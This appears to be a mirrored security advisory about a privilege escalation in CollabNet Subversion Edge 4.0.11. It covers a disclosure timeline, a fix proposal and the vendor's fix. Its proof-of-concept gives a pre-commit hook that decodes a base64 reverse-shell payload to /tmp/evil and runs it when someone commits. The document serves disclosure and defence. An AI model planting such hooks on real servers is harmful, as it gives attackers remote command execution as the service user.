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CollabNet Subversion Edge Hook Script Privilege Escalation

2015-07-05T00:00:00

ID SECURITYVULNS:DOC:32291
Type securityvulns
Reporter Securityvulns
Modified 2015-07-05T00:00:00

Description

Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts

privilege escalation

Date: 28.06.2015

Author: otr

Software Link: https://www.open.collab.net/downloads/svnedge

Vendor: CollabNet

Version: 4.0.11

Tested on: Fedora Linux

Type: Privilege escalation design flaw

CVE : Requested

Risk: High

CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC

CVSS Base Score: 9.0

CVSS Temporal Score: 7.0

Status: pubic/fixed

Fixed version: 5.0

2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated administrators to escalate their privileges by creating and executing hook scripts. As a result they are able to execute arbitrary commands as the user the Management Frontend is running under without authenticating with valid credentials.

POC:

Add a pre commit hook with the following content: #!/bin/sh echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil /bin/chmod +x /tmp/evil /tmp/evil exit 0
Edit a file of a SVN repository
Do: svn commit
Get a reverse shell running as the service user of Subversion Edge

Fix proposal:

Provide a configuration option inaccessible from the Web Gui that disables this feature.

Addtionally implement an authentication prompt that requires the administrator to authenticate as the user running (which is typically a service user) the management frontend web app for performing actions on hook scripts.

Vendor fix:

The hook script editor is now disabled by default. It is enabled via the security.properties file

JSON Vulners Source

Initial Source

{"id": "SECURITYVULNS:DOC:32291", "bulletinFamily": "software", "title": "CollabNet Subversion Edge Hook Script Privilege Escalation", "description": "\r\n\r\n# Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts\r\n# privilege escalation\r\n#\r\n# Date: 28.06.2015\r\n# Author: otr\r\n# Software Link: https://www.open.collab.net/downloads/svnedge\r\n# Vendor: CollabNet\r\n# Version: 4.0.11\r\n# Tested on: Fedora Linux\r\n# Type: Privilege escalation design flaw\r\n#\r\n# CVE : Requested\r\n# Risk: High\r\n#\r\n# CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC\r\n# CVSS Base Score: 9.0\r\n# CVSS Temporal Score: 7.0\r\n#\r\n# Status: pubic/fixed\r\n# Fixed version: 5.0\r\n\r\n2014-10-09 Flaw Discovered\r\n2014-10-20 Vendor contacted\r\n2014-10-21 Vendor response\r\n2014-12-08 Vendor fix proposal\r\n2014-12-08 Extension of embargo to 19.4.2015\r\n2015-05-04 Extension of embargo until release of version 5.0\r\n2015-05-18 Release of version 5.0 and public disclosure\r\n\r\nSummary:\r\n\r\nThe CollabNet Subversion Edge Management Frontend allows authenticated\r\nadministrators to escalate their privileges by creating and executing hook\r\nscripts. As a result they are able to execute arbitrary commands as the user the\r\nManagement Frontend is running under without authenticating with valid\r\ncredentials.\r\n\r\nPOC:\r\n\r\n1. Add a pre commit hook with the following content:\r\n\t#!/bin/sh\r\n\techo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil\r\n\t/bin/chmod +x /tmp/evil\r\n\t/tmp/evil\r\n\texit 0\r\n\r\n2. Edit a file of a SVN repository\r\n3. Do: svn commit\r\n4. Get a reverse shell running as the service user of Subversion Edge\r\n\r\nFix proposal:\r\n\r\nProvide a configuration option inaccessible from the Web Gui that disables this\r\nfeature.\r\n\r\nAddtionally implement an authentication prompt that requires the administrator\r\nto authenticate as the user running (which is typically a service user)\r\nthe management frontend web app for performing actions on hook scripts.\r\n\r\nVendor fix:\r\n\r\nThe hook script editor is now disabled by default. It is enabled via the\r\nsecurity.properties file\r\n\r\n", "published": "2015-07-05T00:00:00", "modified": "2015-07-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32291", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:11:00", "edition": 1, "viewCount": 88, "enchantments": {"score": {"value": 1.8, "vector": "NONE"}, "dependencies": {"references": []}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14567"]}]}, "exploitation": null, "vulnersScore": 1.8}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 0}}